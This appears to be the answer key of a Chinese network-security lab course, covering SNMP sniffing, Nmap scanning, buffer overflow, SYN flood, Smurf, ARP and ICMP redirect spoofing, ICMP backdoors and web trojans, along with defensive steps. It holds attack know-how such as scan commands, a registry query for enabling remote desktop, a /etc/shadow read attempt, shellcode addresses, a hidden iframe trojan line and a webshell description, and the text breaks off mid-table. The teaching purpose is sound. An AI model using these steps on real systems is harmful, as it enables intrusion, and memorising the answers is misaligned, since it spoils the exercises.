主机否？实验17协议脆弱性分析练习一SNMP协议脆弱性分析一．SNMP协议脆弱性分析2．主机B进行SNMP扫描与网络嗅探〔1〕查看默认共同体类型为public〔2〕名称返回结果sysDescrLinuxExpNIS.Netlab2.6.15-1.2054_FC5#1TueMar1415:48:33EST2006i686sysNameExpNIS.NetlabipDefaultTTL643．主机C使用SNMP工具修改主机A节点值〔2〕双击获得该值信息ExpNIS.Netlab4．主机B分析捕获数据包〔1〕记录SNMP共同体为：jlcss〔2〕截获内容为：changedbymanager二．SNMP协议脆弱性利用2．根据DATA区的数据内容恢复文件〔1〕获得主机名ExpNIS.Netlab〔2〕是否被更新是.〔3〕 通知主机C查看sysName节点值是否被更新是..实验18安全协议练习一IPSec-IP安全协议二．IPsec虚拟专用网络的检测〔1〕填写ping操作反馈信息：正常.〔2〕填写ping操作反馈信息：NegotiatingIPSecurity.〔3〕填写ping操作反馈信息：Requesttimedout.〔4〕填写ping操作反馈信息：正常.三．协议分析ESP〔4〕ESP协议类型值50.安全参数索引<SPI>值是421F0A9〔随机值〕序列号是4.ICMP负载是否被加密封装是.四．协议分析AH〔8〕AH协议类型值〔十进制〕51.下一个报头所标识的协议类型是ICMP.载荷长度值是4.由该值计算出AH报头总长度是：24,具体计算方法：载荷长度值加2后乘以4.安全参数索引值是8B280016〔随机值〕.ICMP负载是否被加密封装没有.练习二SSL-安全套接层协议一．使用Apache+OpenSSL组合实现安全通信1．CA签发客户端证书〔1〕OpenSSL命令：req-newkeyrsa:1024-keyoutclient.key-outclient.pem-days365-passoutpass:jlcsspkicli-configopensslf〔2〕OpenSSL命令：ca-inclient.pem-passinpass:jlcsspkica-batch-outclient.crt-keyfileca.key-certca.crt-configopensslf〔3〕OpenSSL命令：pkcs12-export-inclient.crt-inkeyclient.key-passinpass:jlcsspkicli-passoutpass:clientpkcs12-outcli_pkcs12.pfx.实验19信息搜集练习一信息搜集一．信息搜集1．ping探测主机A回复数据包的TTL值：128；操作系统可能为：WindowsNT/2K/XP/2003.主机B回复数据包的TTL值：64；操作系统可能为：Linux.2．Nmap扫描〔1〕Nmap命令〔TCP端口扫描〕：nmap-sS-T5目标IP；探测到主机A开放的TCP端口有：2180135139；主机B开放的TCP端口：212380.Nmap命令〔UDP端口扫描〕：nmap-sU目标IP；探测到主机A开放的UDP端口：123137138；主机B开放的UDP端口：111.〔2〕Nmap命令：nmap-T5-O目标IP.查看扫描结果：主机A为Running<JUSTGUESSING>:MicrosoftWindowsXP|2000|2003<95%>；主机B为：Running:Linux〔3〕主机A、B提供Web服务使用的软件类型分别为：Microsoft-IIS/6.0和Apache/<Fedora>.主机A、B提供FTP服务使用的软件类型分别为：MicrosoftFTPservice和VSFTPd.〔4〕Nmap命令：nmap-T5-sO目标IP--dns_server.练习二主机发现任务一ARP主机发现二．主机发现程序开发源码答案：参见应用服务器中源码答案19-2-1.练习三端口扫描任务一TCP端口扫描源码答案：参见应用服务器中源码答案19-3-1任务二UDP端口扫描〔9〕详细说明UDP端口扫描原理：扫描主机向目标端口发送数据包,如果目标主机返回ICMP端口不可达数据包,则表明该端口是关闭的,否则就是开启的.源码答案：参见应用服务器中源码答案19-3-2..实验20漏洞扫描练习二模拟攻击方法一.初步扫描〔2〕主机A分析扫描结果,从扫描结果中可以了解到主机B开放了21、23、80、135、139、445、1025、1027端口,使用的是Windows2003操作系统,确定具有攻击价值.二.进一步扫描〔2〕账户类型为管理员〔Administrator〕密码为1234.三.开启远程桌面服务3．通过修改注册表开启主机B远程桌面：主机A登录成功后在命令提示符下执行"regquery"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer"〞查看执行结果,fDenyTSConnections的值为0x1.主机A确定修改是否成功,在命令提示符下再次执行regquery"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer命令,查看"fDenyTSConnections〞的值,"fDenyTSConnections〞的值为0x0.主机A再次使用远程桌面连接主机B,连接是否成功是〔是/否〕.练习三Web漏洞扫描器源码答案：参见应用服务器中源码答案20-3..实验21网络嗅探练习二原始套接字嗅探器源码答案：参见应用服务器中源码答案21-2.练习三Winpcap嗅探器源码答案：参见应用服务器中源码答案21-3..实验22缓冲区溢出练习一缓冲区溢出攻击二．利用ms08025漏洞进行攻击2．使用系统命令添加用户请解释出现上述现象的原因：当前用户为普通用户,普通用户没有添加用户的权限.练习二本地缓冲区溢出任务一利用跳转指令实现缓冲区溢出二．溢出实现3．生成实现弹出对话框的指令码〔3〕所以我们需要在汇编代码中正确设置堆栈并调用MessageBoxA函数的绝对内存地址,该地址为0x77E4D8DE.函数ExitProcess的绝对内存地址0x7C813039.源码答案：参见应用服务器中源码答案22-2-1.任务二定位参数地址实现缓冲区溢出二．溢出实现6．回答问题〔1〕OverFlowServer.exe程序中,shellcode函数入口偏移地址0x1020与函数体大小0x197<字节>.〔2〕OverFlowServer.exe程序中,在OverFlow调用前ebp基地址0x0012FF80和调用返回时的指令地址0x0040110A.〔3〕OverFlowServer.exe程序中,TempBuffer缓冲区内存地址0x0012F968与其大小432<字节>.源码答案：参见应用服务器中源码答案22-2-2.任务三缓冲区溢出实现用户权限提升3．提升权限〔1〕输入命令：whoami,当前登录的用户是guest.〔2〕输入命令：cat/etc/shadow,尝试查看阴影文件,此时系统提示cat:/etc/shadow权限不够.上述情况证实root用户有对阴影文件的访问权,其它任何用户均无此权限.〔3〕输入命令：passwdroot,尝试修改root用户登录口令,此时系统提示passwd:Onlyrootcanspecifyausername.练习三远程溢出与后门植入二．远程溢出实现〔可选〕源码答案：参见应用服务器中源码答案22-3..实验23拒绝服务攻击练习一洪泛攻击一．SYN洪水攻击3．洪水攻击〔5〕靶机为什么会消耗大量的系统资源：问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的〔第三次握手无法完成〕,这种情况下服务器端一般会重试〔再次发送SYN+ACK给客户端〕并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYNTimeout,一般来说这个时间是分钟的数量级〔大约为30秒-2分钟〕；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源.实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃——即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求〔毕竟客户端的正常请求比率非常之小〕,此时从正常客户的角度看来,服务器失去响应,这种情况我们称作：服务器端受到了SYNFlood攻击〔SYN洪水攻击〕.练习三Smurf攻击二．Smurf攻击1．攻击实现〔3〕主机A是否与主机B进行过ICMP通信：否.表23-3-1源IP源MACIP/MAC地址对是否匹配主机CIP主机CMAC匹配主机DIP主机DMAC匹配主机EIP主机EMAC匹配主机FIP主机FMAC匹配〔4〕表23-3-2实验主机源IP源MACIP/MAC地址对是否匹配主机C主机BIP主机AMAC不匹配主机D主机BIP主机AMAC不匹配主机E主机BIP主机AMAC不匹配主机F主机BIP主机AMAC不匹配2．构造数据〔1〕表23-3-3目的MAC源MAC源IP目的IP协议类型类型/代码KmacHmacTipKipICMP8/0〔2〕表23-3-4目的MAC源MAC源IP目的IP协议类型类型/代码TmacKmacKipTipICMP0/0.实验24欺骗攻击练习一ARP欺骗一．ARP欺骗攻击1．正常通信〔4〕是否监听到目标主机间的通信数据：不能.目标主机不在同一个共享设备上,正常状态下目标主机一和二间的通信,黑客主机监听不到它们之间的信息.2．ARP攻击〔3〕目标主机二是否接收到数据：否目标主机间的通信是否正常：不正常是否监听到目标主机间的通信数据：是目标主机一发送给目标主机二的数据包,其目的MAC是黑客主机的MAC地址.〔4〕是否正常：不正常目标主机一的ARP缓存表中与目标主机二IP相映射的MAC地址已更新为黑客主机的MAC地址.3．单向欺骗〔4〕目标主机二是否接收到数据：收到黑客主机将接收到的源IP为目标主机一、目的IP为目标主机二的数据包重新转发给目标主机二.〔9〕是否能够ping通：能数据包在网络中的传输路径：目标主机一→黑客主机→目标主机二.〔10〕是否监听到主机一给主机二发出的ICMP回显请求数据包：是是否监听到主机二给主机一发出的ICMP回显应答数据包：否目标主机二的ARP缓冲表中与目标主机一IP相映射的MAC地址仍然是目标主机一的MAC地址.所以目标主机二会将ICMP回显应答数据包直接发送给目标主机一.二．防XARP欺骗1．清空ARP缓存表清空ARP缓存表命令：arp-d.2．IP/MAC地址绑定<2>脚本文件：echooffarp-darp-s5200-0c-29-95-b5-e9exit练习二ICMP重定向二．ICMP重定向攻击〔2〕主机A使用ping命令测试和主机F之间网络的连接情况.主机A、F对所捕获的数据包进行分析,完成下表.实验主机ICMP报文类型源IP目的IP源MAC目的MAC主机A请求主机A主机F主机A主机Eeth0回显主机F主机A主机Eeth0主机A主机F请求主机A主机F主机A主机Eeth0请求主机A主机F主机Eeth1主机F回显主机F主机A主机F主机Eeth1回显主机F主机A主机Eeth0主机A仔细观察主机F捕获到的数据包,这些ICMP数据包是否成对出现？是,若是,那么每对中的数据包都是相同的吗？不是,如果不同,它们有什么区别？MAC地址是不同的,为什么会出现这样的结果：因为主机E、F在同一共享模块下,主机F可以捕获到主机E与主机A通信的数据包.〔3〕确认连通后,主机A、F分别使用路由跟踪查看通信时所经过的网关,命令:tracert主机FIP,tracert主机AIP,网关IP：主机EIP.〔4〕主机A、F分别使用ping命令探测各自网关,然后查看ARP缓存表,使用命令：arp-a,可以得出各自网关MAC地址：主机EMAC.〔6〕主机A刷新协议分析器,查看主机B发给主机A的ICMP重定向数据包,类型：5,代码：1,网关地址：虚假IP,有效载荷数据的长度：28.〔7〕主机A再次清空协议分析器,使用ping命令向主机F发出ICMP回显请求,此时能否得到回复？否.为什么？因为主机A与主机F之间的路由被串改成了虚假IP,主机A与主机F通信时,数据包发给了虚假IP地址,此时主机F没有收到ICMP请求数据包.〔8〕主机A使用路由跟踪命令探测与主机F之间的路由.结果：超时.〔9〕主机A查看本机路由表,命令：routeprint,可以发现多了一条路由表项：主机A到主机F的路由信息.三．ICMP重定向欺骗攻击〔5〕主机A使用ping命令向主机F发出ICMP回显请求,对所捕获的数据包再次分析,根据主机A、F,主机B、F间通信的数据包完成下表：实验主机ICMP报文类型源IP目的IP源MAC目的MAC主机A请求主机A主机F主机A主机Beth0回显主机F主机A主机Beth0主机A请求主机Beth1主机F主机Beth1主机F回显主机F主机Beth1主机F主机Beth1主机F请求主机Beth1主机F主机Beth1主机F回显主机F主机Beth1主机F主机Beth1〔6〕主机A、F分别使用路由跟踪命令探测其间的路由.结果：主机A经过网关主机B,主机F经过网关主机E.为什么会出现这样的结果,写出原因：主机B对主机A进行了ICMP重定向欺骗攻击,但并没有对主机F进行攻击.〔7〕主机A查看本机路由表,可以发现到主机F的路由表项：网关是主机B.四．ICMP重定向欺骗攻击的防X〔3〕主机A查看本机路由表,是否发现新的路由表项没有,协议分析器是否捕获到ICMP重定向数据包是..实验25网络后门练习一shell后门二．远程控制工具JlcssShell<1>端口21581是否开启：开启.练习二无端口后门二．ICMP后门实现4．后门通信分析<1>协议类型是：ARP通过该协议可以达到什么目标：获取目标主机MAC地址<2>IP上层协议类型是：ICMP上层协议负载长度：10IP上层协议负载的最后6个字节：search<3>响应数据内容：TheBackDoorOK！IP上层协议类型是：ICMP<4>后门客户程序发出枚举受害主机运行进程的命令是：pslist<5>运行贪吃蛇程序后系统监听端口无变化.三．ICMP后门原理2．后门客户程序〔1〕WSAStartup...MAKEWORD<2,1>调用WSAStartup函数加载Winsock库,版本2.1.〔2〕WSASocket...IPPROTO_ICMP调用WSASocket函数创建原始套接字,应用协议为ICMP〔3〕setsockopt...SO_SNDTIMEO调用setsockopt设置套接字发送超时.〔4〕setsockopt...SO_RCVTIMEO调用setsockopt设置套接字接收超时.〔5〕constructdata通过pslist、pskillID来构造数据..实验26特洛伊木马练习一网页木马一．木马的生成与植入3．木马的植入Hacker.ini文件是由哪个进程创建的：winlogoin.exe；WindowsXPvista服务的执行体文件是：Hacker.ini；8000服务远程地址〔控制端〕地址：主机A的IP地址；在"进程监控〞中出现的winlogoin.exe进程〔若存在〕在整个的木马植入过程中起到的作用是：木马服务器端安装程序；练习二Webshell一.Webshell木马2.

使用现有木马控制web服务器〔3〕一开始程序先用CreateObject方法建立了一个wscript.shell控件的对象ws,然后用cmdStr存储想要执行的命令字符串,利用创建的对象调用exec函数执行cmdStr中的命令.二.通过权限控制防X该类木马〔5〕主机B在浏览器中输入://主机A的IP:9090/shell.asp地址,查看修改后的访问效果,效果为：无权限访问shell.asp.〔6〕主机B再次访问主机A"木马2〞下的木马文件asptroy.asp,进入"Wscript.shell〞页面的效果为：拒绝访问asptroy.asp.练习三ARP木马与ARP防火墙三．验证实现现象1．主机A开始"挂马〞〔4〕查看灰鸽子序主界面"文件管理器〞|"文件目录浏览〞|"自动上线主机〞是否出现上线主机是.2．主机B分析木马被植入过程〔1〕打开IE浏览器,在任务栏上单击鼠标右键,选择"任务管理器〞,找到名为"IEXPLORE.EXE〞的进程,其用户名为Administrator.〔2〕在IE浏览器地址栏中输入"://主机F的IP地址〞,访问主机F的WEB服务,访问能否成功能？在打开的网页中点击右键,选择"查看源文件〔V〕〞查看源文件内容,发现源文件头部有一条iframe语句：其内容为<iframesrc='网马地址'width=0height=0></iframe>.〔3〕查看"任务管理器〞,是否又出现一个名为"IEXPLORE.EXE〞的进程,其用户名为SYSTEM.〔4〕在命令行下输入命令"netstat-an〞,查看主机端口连接,连接8000端口的远程地址是：主机A的IP.〔6〕表26-3-1主机B的会话过程表会话源MAC地址目的MAC地址源IP目的IP第一个GET主机B的MAC地址主机A的MAC地址主机B的IP外网IP第二个GET主机A的MAC地址主机E的内网接口主机B的IP外网IP第一个/1.1主机E的内网接口主机A的MAC地址外网IP主机B的IP第二个/1.1主机A的MAC地址主机B的MAC地址外网IP主机B的IP查看第二个/1.1的"首部字段〞中是否存在框架代码,若存在,其内容为<iframesrc='网马地址'width=0height=0></iframe>.根据上表结果,描述主机B访问网页时被挂马的过程黑客主机对内网主机和网关同时发起ARP欺骗,当内网主机B访问外网网页时,会将黑客主机当成网关,并将请求发送给黑客主机,黑客主机再将请求转发给网关.由于网关也受到了欺骗,所以会将信息返回给黑客主机,黑客主机将返回信息插入了恶意代码之后,再转发给主机B,而恶意代码的内容就是一个网页木马.3．主机C抓包嗅探〔1〕主机C访问"://主机F的IP地址〞,是否中马是.〔3〕表26-3-2主机C的会话过程表会话源MAC地址目的MAC地址源IP目的IP第一个GET主机C的MAC地址主机E的内网接口主机C的IP外网IP第一个/1.1主机A的MAC地址主机C的